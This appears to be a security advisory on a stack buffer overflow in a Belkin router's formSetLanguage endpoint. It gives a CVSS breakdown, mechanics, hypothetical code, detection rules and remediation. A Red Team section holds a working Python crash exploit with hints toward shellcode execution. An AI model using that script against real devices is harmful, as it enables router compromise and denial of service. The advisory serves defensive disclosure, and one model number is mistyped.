CVE-2025-11297

Executive Summary

CVE-2025-11297 is a critical buffer overflow vulnerability discovered in the Belkin F9K1015 router running firmware version 1.00.10. The flaw resides in the /goform/formSetLanguage endpoint, where the webpage argument is processed without proper bounds checking. An unauthenticated remote attacker can exploit this to cause a denial of service or potentially achieve arbitrary code execution on the device. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts, leaving the device in an unpatched state. This vulnerability poses a significant risk to home and small office networks using this router model.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Belkin router). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to trigger the overflow.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Potential for full memory disclosure.
• Integrity (I): High – Potential for arbitrary code execution.
• Availability (A): High – Buffer overflow can crash the device or allow code execution.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the Belkin router's web management interface. The /goform/formSetLanguage CGI endpoint is used to set the language preference of the router's web UI. It accepts a webpage parameter via HTTP POST or GET request.

Root Cause: The firmware does not validate the length of the webpage argument before copying it into a fixed-size stack buffer. By sending an overly long string, an attacker can overwrite the return address and other critical stack data.

Attack Flow:

1. The attacker sends a crafted HTTP request to http://<router-ip>/goform/formSetLanguage with a webpage parameter containing a malicious payload.
2. The vulnerable function copies the webpage value into a local buffer without bounds checking.
3. The overflow corrupts the stack, allowing the attacker to control the program counter (PC) or instruction pointer (IP).
4. With a carefully crafted payload, the attacker can redirect execution to shellcode or ROP gadgets, achieving remote code execution.

Impact: Successful exploitation can lead to full compromise of the router, including:

• Installation of persistent malware (e.g., botnet agents).
• Man-in-the-middle attacks on network traffic.
• Credential theft from web sessions.
• Denial of service by crashing the device.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known implementation. The following is a hypothetical representation of the vulnerable function based on typical embedded CGI implementations.

Vulnerable Code (C-like pseudocode):

void formSetLanguage() {
    char buffer[256];
    char *webpage = get_param("webpage");
    // No bounds check!
    strcpy(buffer, webpage);
    // Process buffer...
}

Patched Code (Hypothetical):

void formSetLanguage() {
    char buffer[256];
    char *webpage = get_param("webpage");
    if (strlen(webpage) >= sizeof(buffer)) {
        // Log error and return
        return;
    }
    strcpy(buffer, webpage);
    // Process buffer...
}

The fix would involve adding a length check before copying the input into the stack buffer, or using a safe function like strncpy or snprintf.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Belkin F9K1015 router with firmware 1.00.10.
• Network access to the router's web interface (typically on port 80 or 443).
• Python3 with requests library.

Exploit Code (Python):

import requests
import sys

target = sys.argv[1]  # e.g., 192.168.2.1
payload = b"A" * 300  # Overflow buffer (adjust offset for exact crash)

url = f"http://{target}/goform/formSetLanguage"
data = {"webpage": payload}

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"Exploit sent. Response: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Usage:

python3 exploit.py 192.168.2.1

Notes:

• The exact offset to overwrite the return address may vary. Use a pattern generator (e.g., msf-pattern_create) to find the correct offset.
• For code execution, replace the overflow with shellcode and a NOP sled. Ensure shellcode is position-independent and avoids bad characters (e.g., null bytes).

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP requests to /goform/formSetLanguage with unusually long webpage parameters (e.g., > 256 bytes).
2. Enable logging on the router (if available) to capture malformed requests.
3. Use network intrusion detection systems (NIDS) to alert on suspicious payloads.

Mitigation:

• Isolate the router management interface from the internet and untrusted networks.
• Disable remote management if not required.
• Apply virtual patching via a web application firewall (WAF) to block oversized parameters.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST/GET requests to /goform/formSetLanguage with webpage parameter length > 256 bytes.
• Repeated connection attempts to the router's web interface from external IPs.
• Unusual outbound connections from the router to unknown IPs (post-exploitation).

Host IOCs (on compromised router):

• Unexpected processes or binaries in /tmp or /var/run.
• Modified firmware files or configuration changes.
• Presence of shellcode or backdoor scripts in memory.

File IOCs:

• Suspicious files in /tmp with names like *.sh, *.bin, or *.elf.
• Unauthorized SSH keys or cron jobs.

Detection Engineering

YARA Rule

rule CVE_2025_11297_Belkin_BufferOverflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-11297 in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11297"
    strings:
        $uri = "/goform/formSetLanguage" ascii wide nocase
        $param = "webpage=" ascii wide nocase
        $overflow = /webpage=[A-Za-z0-9%]{257,}/ ascii
    condition:
        $uri and $param and $overflow
}

Sigma Rule

title: CVE-2025-11297 Belkin Router Buffer Overflow Attempt
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1f2a3b4c5d
status: experimental
description: Detects HTTP requests with overly long webpage parameter to Belkin router
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/goform/formSetLanguage"
        cs-uri-query|re: "webpage=.{257,}"
    condition: selection
falsepositives:
    - Legitimate long language strings (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-11297 Belkin Router Buffer Overflow Attempt";
    flow:to_server,established;
    content:"/goform/formSetLanguage"; http_uri;
    content:"webpage="; http_client_body;
    pcre:"/webpage=.{257,}/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-11297;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: Turn off remote access to the router's web interface from the WAN side.
2. Change Default Credentials: Ensure the router admin password is strong and unique.
3. Update Firmware: Check Belkin's support site for any firmware updates. If none, consider replacing the device.
4. Network Segmentation: Place the router in a separate VLAN or behind a firewall with strict ACLs.

Long-Term Recommendations:

• Replace the Belkin F9K11297 with a supported, patched router model.
• Implement a web application firewall (WAF) to filter malicious HTTP requests.
• Monitor for CVE-2025-11297 exploit attempts using the provided detection rules.

Vendor Contact: Belkin has been unresponsive. If you are a Belkin customer, escalate through official support channels and consider reporting to CERT/CC.

Valters IT
Securing Digital Frontiers